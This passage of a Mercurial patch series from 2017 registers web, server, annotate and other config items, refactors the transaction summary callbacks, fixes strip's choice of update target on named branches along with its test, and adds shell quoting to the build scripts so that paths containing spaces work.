# Parent  db935a5ea36442485df9ca27babcfc46a9f29044
configitems: register the 'web.deny_push' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -733,6 +733,9 @@
 coreconfigitem('web', 'contact',
     default=None,
 )
+coreconfigitem('web', 'deny_push',
+    default=list,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688124 -7200
#      Wed Oct 11 04:15:24 2017 +0200
# Node ID f12de15c5711fbebf5126c9d4cebc89f37f0d22b
# Parent  3e6b36ba16aca737f5c2cca6f6b2f385a059ad5c
configitems: register the 'web.guessmime' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -736,6 +736,9 @@
 coreconfigitem('web', 'deny_push',
     default=list,
 )
+coreconfigitem('web', 'guessmime',
+    default=False,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -93,7 +93,7 @@
 
 @webcommand('rawfile')
 def rawfile(web, req, tmpl):
-    guessmime = web.configbool('web', 'guessmime', False)
+    guessmime = web.configbool('web', 'guessmime')
 
     path = webutil.cleanpath(web.repo, req.form.get('file', [''])[0])
     if not path:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688137 -7200
#      Wed Oct 11 04:15:37 2017 +0200
# Node ID 9d97487514c7b35f041eb2b889d3282dfc26a946
# Parent  f12de15c5711fbebf5126c9d4cebc89f37f0d22b
configitems: register the 'web.hidden' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -739,6 +739,9 @@
 coreconfigitem('web', 'guessmime',
     default=False,
 )
+coreconfigitem('web', 'hidden',
+    default=None,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688148 -7200
#      Wed Oct 11 04:15:48 2017 +0200
# Node ID f3e090d0c6d6a7ff3a005e3f5049d74c3b3960f1
# Parent  9d97487514c7b35f041eb2b889d3282dfc26a946
configitems: register the 'web.labels' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -742,6 +742,9 @@
 coreconfigitem('web', 'hidden',
     default=None,
 )
+coreconfigitem('web', 'labels',
+    default=list,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688165 -7200
#      Wed Oct 11 04:16:05 2017 +0200
# Node ID c879fc7bd71f4055529383f84dbb21b4c03c0670
# Parent  f3e090d0c6d6a7ff3a005e3f5049d74c3b3960f1
configitems: register the 'web.logoimg' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -745,6 +745,9 @@
 coreconfigitem('web', 'labels',
     default=list,
 )
+coreconfigitem('web', 'logoimg',
+    default='hglogo.png',
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -169,7 +169,7 @@
         port = port != default_port and (':' + port) or ''
         urlbase = '%s://%s%s' % (proto, req.env['SERVER_NAME'], port)
         logourl = self.config('web', 'logourl', 'https://mercurial-scm.org/')
-        logoimg = self.config('web', 'logoimg', 'hglogo.png')
+        logoimg = self.config('web', 'logoimg')
         staticurl = self.config('web', 'staticurl') or req.url + 'static/'
         if not staticurl.endswith('/'):
             staticurl += '/'
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -511,7 +511,7 @@
         start = url[-1] == '?' and '&' or '?'
         sessionvars = webutil.sessionvars(vars, start)
         logourl = config('web', 'logourl', 'https://mercurial-scm.org/')
-        logoimg = config('web', 'logoimg', 'hglogo.png')
+        logoimg = config('web', 'logoimg')
         staticurl = config('web', 'staticurl') or url + 'static/'
         if not staticurl.endswith('/'):
             staticurl += '/'
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688177 -7200
#      Wed Oct 11 04:16:17 2017 +0200
# Node ID c2cb6be4212fe38b0f1447b70223c1f9bcc0c588
# Parent  c879fc7bd71f4055529383f84dbb21b4c03c0670
configitems: register the 'web.logourl' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -748,6 +748,9 @@
 coreconfigitem('web', 'logoimg',
     default='hglogo.png',
 )
+coreconfigitem('web', 'logourl',
+    default='https://mercurial-scm.org/',
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -168,7 +168,7 @@
         port = req.env['SERVER_PORT']
         port = port != default_port and (':' + port) or ''
         urlbase = '%s://%s%s' % (proto, req.env['SERVER_NAME'], port)
-        logourl = self.config('web', 'logourl', 'https://mercurial-scm.org/')
+        logourl = self.config('web', 'logourl')
         logoimg = self.config('web', 'logoimg')
         staticurl = self.config('web', 'staticurl') or req.url + 'static/'
         if not staticurl.endswith('/'):
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -510,7 +510,7 @@
 
         start = url[-1] == '?' and '&' or '?'
         sessionvars = webutil.sessionvars(vars, start)
-        logourl = config('web', 'logourl', 'https://mercurial-scm.org/')
+        logourl = config('web', 'logourl')
         logoimg = config('web', 'logoimg')
         staticurl = config('web', 'staticurl') or url + 'static/'
         if not staticurl.endswith('/'):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507737100 -7200
#      Wed Oct 11 17:51:40 2017 +0200
# Node ID 5e61cd5fb0fcb3dc21624f846f93e94efa04f717
# Parent  c2cb6be4212fe38b0f1447b70223c1f9bcc0c588
configitems: register the 'server.bundle*' family of config

All these config use the same function specifying a default value. We need to
register them all at the same time.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -500,6 +500,18 @@
 coreconfigitem('server', 'bundle1gd',
     default=None,
 )
+coreconfigitem('server', 'bundle1.pull',
+    default=None,
+)
+coreconfigitem('server', 'bundle1gd.pull',
+    default=None,
+)
+coreconfigitem('server', 'bundle1.push',
+    default=None,
+)
+coreconfigitem('server', 'bundle1gd.push',
+    default=None,
+)
 coreconfigitem('server', 'compressionengines',
     default=list,
 )
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -595,11 +595,11 @@
     gd = 'generaldelta' in repo.requirements
 
     if gd:
-        v = ui.configbool('server', 'bundle1gd.%s' % action, None)
+        v = ui.configbool('server', 'bundle1gd.%s' % action)
         if v is not None:
             return v
 
-    v = ui.configbool('server', 'bundle1.%s' % action, None)
+    v = ui.configbool('server', 'bundle1.%s' % action)
     if v is not None:
         return v
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507690674 -7200
#      Wed Oct 11 04:57:54 2017 +0200
# Node ID 93fcd65e459f8e23e0078ea0f43d8cdc6b021ca9
# Parent  5e61cd5fb0fcb3dc21624f846f93e94efa04f717
configitems: register the 'rebase.singletransaction' config

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -83,6 +83,9 @@
 configitem('experimental', 'rebaseskipobsolete',
     default=True,
 )
+configitem('rebase', 'singletransaction',
+    default=False,
+)
 
 def _nothingtorebase():
     return 1
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507691900 -7200
#      Wed Oct 11 05:18:20 2017 +0200
# Node ID 32166736684ee3e9ae6d6aad1d6f25e23184109c
# Parent  93fcd65e459f8e23e0078ea0f43d8cdc6b021ca9
configitems: register the 'experimental.archivemetatemplate' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -212,6 +212,9 @@
 coreconfigitem('experimental', 'allowdivergence',
     default=False,
 )
+coreconfigitem('experimental', 'archivemetatemplate',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'bundle-phases',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507692970 -7200
#      Wed Oct 11 05:36:10 2017 +0200
# Node ID c0dabec35019aac23b27d6ec9aaf706288c9da49
# Parent  32166736684ee3e9ae6d6aad1d6f25e23184109c
configitems: register the 'ui.interface.chunkselector' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -632,6 +632,9 @@
 coreconfigitem('ui', 'interface',
     default=None,
 )
+coreconfigitem('ui', 'interface.chunkselector',
+    default=None,
+)
 coreconfigitem('ui', 'logblockedtimes',
     default=False,
 )
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1149,7 +1149,7 @@
             defaultinterface = i
 
         choseninterface = defaultinterface
-        f = self.config("ui", "interface.%s" % feature, None)
+        f = self.config("ui", "interface.%s" % feature)
         if f in availableinterfaces:
             choseninterface = f
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507693376 -7200
#      Wed Oct 11 05:42:56 2017 +0200
# Node ID 4876bf5a36fbb4ab69d8a9fec8b7a7889d141e57
# Parent  c0dabec35019aac23b27d6ec9aaf706288c9da49
configitems: register the 'convert.cvsps.logencoding' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -37,6 +37,9 @@
 configitem('convert', 'cvsps.fuzz',
     default=60,
 )
+configitem('convert', 'cvsps.logencoding',
+    default=None,
+)
 configitem('convert', 'cvsps.mergefrom',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507692225 -7200
#      Wed Oct 11 05:23:45 2017 +0200
# Node ID 37b4375b1221e3bda055f0cbecf06b3c9510fd2c
# Parent  4876bf5a36fbb4ab69d8a9fec8b7a7889d141e57
configitems: register the annotate diff options

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -62,6 +62,36 @@
 
 coreconfigitem = getitemregister(coreitems)
 
+coreconfigitem('annotate', 'nodates',
+    default=None,
+)
+coreconfigitem('annotate', 'showfunc',
+    default=None,
+)
+coreconfigitem('annotate', 'unified',
+    default=None,
+)
+coreconfigitem('annotate', 'git',
+    default=None,
+)
+coreconfigitem('annotate', 'ignorews',
+    default=None,
+)
+coreconfigitem('annotate', 'ignorewsamount',
+    default=None,
+)
+coreconfigitem('annotate', 'ignoreblanklines',
+    default=None,
+)
+coreconfigitem('annotate', 'ignorewseol',
+    default=None,
+)
+coreconfigitem('annotate', 'nobinary',
+    default=None,
+)
+coreconfigitem('annotate', 'noprefix',
+    default=None,
+)
 coreconfigitem('auth', 'cookiefile',
     default=None,
 )
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1506844364 -7200
#      Sun Oct 01 09:52:44 2017 +0200
# Node ID 18309380fb88d648011e84cb2042ba1c907d536f
# Parent  37b4375b1221e3bda055f0cbecf06b3c9510fd2c
scmutil: factor out transaction name lookup in registersummarycallback()

Add an inner txmatch function in registersummarycallback() factoring out the
logic to determine if the transaction matches a particular sources set. We'll
reuse this function to add some new report logic in the new changeset.

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1203,15 +1203,16 @@
 def registersummarycallback(repo, otr, txnname=''):
     """register a callback to issue a summary after the transaction is closed
     """
-    for source in _reportobsoletedsource:
-        if txnname.startswith(source):
-            reporef = weakref.ref(repo)
-            def reportsummary(tr):
-                """the actual callback reporting the summary"""
-                repo = reporef()
-                obsoleted = obsutil.getobsoleted(repo, tr)
-                if obsoleted:
-                    repo.ui.status(_('obsoleted %i changesets\n')
-                                   % len(obsoleted))
-            otr.addpostclose('00-txnreport', reportsummary)
-            break
+    def txmatch(sources):
+        return any(txnname.startswith(source) for source in sources)
+
+    if txmatch(_reportobsoletedsource):
+        reporef = weakref.ref(repo)
+        def reportsummary(tr):
+            """the actual callback reporting the summary"""
+            repo = reporef()
+            obsoleted = obsutil.getobsoleted(repo, tr)
+            if obsoleted:
+                repo.ui.status(_('obsoleted %i changesets\n')
+                               % len(obsoleted))
+        otr.addpostclose('00-txnreport', reportsummary)
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507135749 -7200
#      Wed Oct 04 18:49:09 2017 +0200
# Node ID b799f11644d82fdf9103ed602659b59affc53458
# Parent  18309380fb88d648011e84cb2042ba1c907d536f
scmutil: factor out building of transaction summary callback

In registersummarycallback(), we extra generic bits of the existing
"reportsummary" function into a decorator which will be used in forthcoming
changesets to add new summary callbacks.

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1206,13 +1206,23 @@
     def txmatch(sources):
         return any(txnname.startswith(source) for source in sources)
 
-    if txmatch(_reportobsoletedsource):
+    categories = []
+
+    def reportsummary(func):
+        """decorator for report callbacks."""
         reporef = weakref.ref(repo)
-        def reportsummary(tr):
-            """the actual callback reporting the summary"""
+        def wrapped(tr):
             repo = reporef()
+            func(repo, tr)
+        newcat = '%2i-txnreport' % len(categories)
+        otr.addpostclose(newcat, wrapped)
+        categories.append(newcat)
+        return wrapped
+
+    if txmatch(_reportobsoletedsource):
+        @reportsummary
+        def reportobsoleted(repo, tr):
             obsoleted = obsutil.getobsoleted(repo, tr)
             if obsoleted:
                 repo.ui.status(_('obsoleted %i changesets\n')
                                % len(obsoleted))
-        otr.addpostclose('00-txnreport', reportsummary)
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1507212785 -7200
#      Thu Oct 05 16:13:05 2017 +0200
# Node ID 5613fb1583d6a2fd9a94b7d1f55f31b3df9a2dac
# Parent  b799f11644d82fdf9103ed602659b59affc53458
strip: take branch into account when selecting update target (issue5540)

Test contributed by Matt Harbison

Keep the same behavior in most cases (i.e. first parent of the first root of
stripped changsets), but if the branch differs from wdir's, try to find another
parent of stripped commits that is on the same branch.

diff --git a/hgext/strip.py b/hgext/strip.py
--- a/hgext/strip.py
+++ b/hgext/strip.py
@@ -60,10 +60,19 @@
 
 def _findupdatetarget(repo, nodes):
     unode, p2 = repo.changelog.parents(nodes[0])
+    currentbranch = repo[None].branch()
 
     if (util.safehasattr(repo, 'mq') and p2 != nullid
         and p2 in [x.node for x in repo.mq.applied]):
         unode = p2
+    elif currentbranch != repo[unode].branch():
+        pwdir = 'parents(wdir())'
+        revset = 'max(((parents(%ln::%r) + %r) - %ln::%r) and branch(%s))'
+        branchtarget = repo.revs(revset, nodes, pwdir, pwdir, nodes, pwdir,
+                                 currentbranch)
+        if branchtarget:
+            cl = repo.changelog
+            unode = cl.node(branchtarget.first())
 
     return unode
 
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -941,6 +941,214 @@
   abort: boom
   [255]
 
+test stripping a working directory parent doesn't switch named branches
+
+  $ hg log -G
+  @  changeset:   1:eca11cf91c71
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg branch new-branch
+  marked working directory as branch new-branch
+  (branches are permanent and global, did you want a bookmark?)
+  $ hg ci -m "start new branch"
+  $ echo 'foo' > foo.txt
+  $ hg ci -Aqm foo
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ echo 'bar' > bar.txt
+  $ hg ci -Aqm bar
+  $ hg up new-branch
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg merge default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg log -G
+  @  changeset:   4:35358f982181
+  |  tag:         tip
+  |  parent:      1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     bar
+  |
+  | @  changeset:   3:f62c6c09b707
+  | |  branch:      new-branch
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     foo
+  | |
+  | o  changeset:   2:b1d33a8cadd9
+  |/   branch:      new-branch
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg strip --force -r 35358f982181
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-50d992d4-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ echo 'bar' > bar.txt
+  $ hg ci -Aqm bar
+  $ hg up new-branch
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg merge default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -m merge
+  $ hg log -G
+  @    changeset:   5:4cf5e92caec2
+  |\   branch:      new-branch
+  | |  tag:         tip
+  | |  parent:      3:f62c6c09b707
+  | |  parent:      4:35358f982181
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     merge
+  | |
+  | o  changeset:   4:35358f982181
+  | |  parent:      1:eca11cf91c71
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     bar
+  | |
+  o |  changeset:   3:f62c6c09b707
+  | |  branch:      new-branch
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     foo
+  | |
+  o |  changeset:   2:b1d33a8cadd9
+  |/   branch:      new-branch
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg strip -r 35358f982181
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg pull -u $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg
+  pulling from $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 1 changes to 1 files
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+  $ hg strip -k -r 35358f982181
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+  $ hg diff
+  diff -r f62c6c09b707 bar.txt
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/bar.txt	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +bar
+
 Use delayedstrip to strip inside a transaction
 
   $ cd $TESTTMP
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1507677588 -7200
#      Wed Oct 11 01:19:48 2017 +0200
# Node ID b584ed1b225d53426170791949a46cd04bf358db
# Parent  5613fb1583d6a2fd9a94b7d1f55f31b3df9a2dac
build: make install in "/doc" failed if the destination dir contained spaces

This and the following commits try to add the necessary quoting in the build
scripts to make the process more robust.

The target for now is rendering "make deb" successful even when the base
directory contains spaces (eg. "/opt/mercu rial").
The build process should succeed without scattering files in spurious
directories (eg.: "/opt/mercu/usr/bin/hg").

diff --git a/doc/Makefile b/doc/Makefile
--- a/doc/Makefile
+++ b/doc/Makefile
@@ -18,7 +18,7 @@
 html: $(HTML)
 
 common.txt $(SOURCES) $(SOURCES:%.txt=%.gendoc.txt): $(GENDOC)
-	${PYTHON} gendoc.py $(basename $@) > $@.tmp
+	${PYTHON} gendoc.py "$(basename $@)" > $@.tmp
 	mv $@.tmp $@
 
 %: %.txt %.gendoc.txt common.txt
@@ -39,8 +39,8 @@
 install: man
 	for i in $(MAN) ; do \
 	  subdir=`echo $$i | sed -n 's/^.*\.\([0-9]\)$$/man\1/p'` ; \
-	  mkdir -p $(DESTDIR)$(MANDIR)/$$subdir ; \
-	  $(INSTALL) $$i $(DESTDIR)$(MANDIR)/$$subdir ; \
+	  mkdir -p "$(DESTDIR)$(MANDIR)"/$$subdir ; \
+	  $(INSTALL) $$i "$(DESTDIR)$(MANDIR)"/$$subdir ; \
 	done
 
 clean:
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1507678663 -7200
#      Wed Oct 11 01:37:43 2017 +0200
# Node ID baa5228895407b31b87238cd3e3df3f59cc34061
# Parent  b584ed1b225d53426170791949a46cd04bf358db
build: initial version detection by make deb/rpm was missing quoting

diff --git a/contrib/packagelib.sh b/contrib/packagelib.sh
--- a/contrib/packagelib.sh
+++ b/contrib/packagelib.sh
@@ -12,9 +12,9 @@
     make local || make local PURE=--pure
     HG="$PWD/hg"
 
-    $HG version > /dev/null || { echo 'abort: hg version failed!'; exit 1 ; }
+    "$HG" version > /dev/null || { echo 'abort: hg version failed!'; exit 1 ; }
 
-    hgversion=`LANGUAGE=C $HG version | sed -ne 's/.*(version \(.*\))$/\1/p'`
+    hgversion=`LANGUAGE=C "$HG" version | sed -ne 's/.*(version \(.*\))$/\1/p'`
 
     if echo $hgversion | grep + > /dev/null 2>&1 ; then
         tmp=`echo $hgversion | cut -d+ -f 2`
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1507680372 -7200
#      Wed Oct 11 02:06:12 2017 +0200
# Node ID 884855ce5e6380b4c11f438f5fe38127880b53fe
# Parent  baa5228895407b31b87238cd3e3df3f59cc34061
build: chg build was failing when the base directory contained spaces

diff --git a/contrib/chg/Makefile b/contrib/chg/Makefile
--- a/contrib/chg/Makefile
+++ b/contrib/chg/Makefile
@@ -31,15 +31,15 @@
 
 .PHONY: install
 install: $(TARGET)
-	install -d $(DESTDIR)$(PREFIX)/bin
-	install -m 755 $(TARGET) $(DESTDIR)$(PREFIX)/bin
-	install -d $(DESTDIR)$(MANDIR)
-	install -m 644 chg.1 $(DESTDIR)$(MANDIR)
+	install -d "$(DESTDIR)$(PREFIX)"/bin
+	install -m 755 "$(TARGET)" "$(DESTDIR)$(PREFIX)"/bin
+	install -d "$(DESTDIR)$(MANDIR)"
+	install -m 644 chg.1 "$(DESTDIR)$(MANDIR)"
 
 .PHONY: serve
 serve:
-	[ -d $(CHGSOCKDIR) ] || ( umask 077; mkdir $(CHGSOCKDIR) )
-	$(HG) serve --cwd / --cmdserver chgunix \
+	[ -d "$(CHGSOCKDIR)" ] || ( umask 077; mkdir "$(CHGSOCKDIR)" )
+	"$(HG)" serve --cwd / --cmdserver chgunix \
 		--address $(CHGSOCKNAME) \
 		--config cmdserver.log=/dev/stderr
 
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1507679220 -7200
#      Wed Oct 11 01:47:00 2017 +0200
# Node ID f1c2552c2de78a2f8a0c0ded099ccb200aad27d0
# Parent  884855ce5e6380b4c11f438f5fe38127880b53fe
build: "make deb" failed when the base path contained spaces

With these changes, all the commands triggered by "make deb" use proper quoting
and succeed even when invoked from a directory containing spaces.

diff --git a/contrib/builddeb b/contrib/builddeb
--- a/contrib/builddeb
+++ b/contrib/builddeb
@@ -73,7 +73,7 @@
         exit 1
     fi
 
-    cp -r $PWD/contrib/debian debian
+    cp -r "$PWD"/contrib/debian debian
 
     sed -i.tmp "s/__VERSION__/$debver/" $changelog
     sed -i.tmp "s/__DATE__/$(date --rfc-2822)/" $changelog
diff --git a/contrib/debian/rules b/contrib/debian/rules
--- a/contrib/debian/rules
+++ b/contrib/debian/rules
@@ -15,30 +15,30 @@
 	find debian/mercurial/usr/share -type d -empty -delete
 
 override_dh_install:
-	python$(PYVERS) setup.py install --root $(CURDIR)/debian/mercurial --install-layout=deb
+	python$(PYVERS) setup.py install --root "$(CURDIR)"/debian/mercurial --install-layout=deb
 	# chg
 	make -C contrib/chg \
-		DESTDIR=$(CURDIR)/debian/mercurial \
+		DESTDIR="$(CURDIR)"/debian/mercurial \
 		PREFIX=/usr \
 		clean install
 	# remove arch-independent python stuff
-	find $(CURDIR)/debian/mercurial/usr/lib \
+	find "$(CURDIR)"/debian/mercurial/usr/lib \
 		! -name '*.so' ! -type d -delete , \
 		-type d -empty -delete
-	python$(PYVERS) setup.py install --root $(CURDIR)/debian/mercurial-common --install-layout=deb
-	make install-doc PREFIX=$(CURDIR)/debian/mercurial-common/usr
+	python$(PYVERS) setup.py install --root "$(CURDIR)/debian/mercurial-common" --install-layout=deb
+	make install-doc PREFIX="$(CURDIR)"/debian/mercurial-common/usr
 	# remove arch-dependent python stuff
-	find $(CURDIR)/debian/mercurial-common/usr/lib \
+	find "$(CURDIR)"/debian/mercurial-common/usr/lib \
 		-name '*.so' ! -type d -delete , \
 		-type d -empty -delete
-	cp contrib/hg-ssh $(CURDIR)/debian/mercurial-common/usr/bin
-	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/mercurial
-	cp contrib/hgk $(CURDIR)/debian/mercurial-common/usr/share/mercurial
-	mkdir -p $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
-	cp contrib/debian/*.rc $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
+	cp contrib/hg-ssh "$(CURDIR)"/debian/mercurial-common/usr/bin
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/mercurial
+	cp contrib/hgk "$(CURDIR)"/debian/mercurial-common/usr/share/mercurial
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/etc/mercurial/hgrc.d/
+	cp contrib/debian/*.rc "$(CURDIR)"/debian/mercurial-common/etc/mercurial/hgrc.d/
 	# completions
-	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions
-	cp contrib/bash_completion $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions/hg
-	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/zsh/vendor-completions
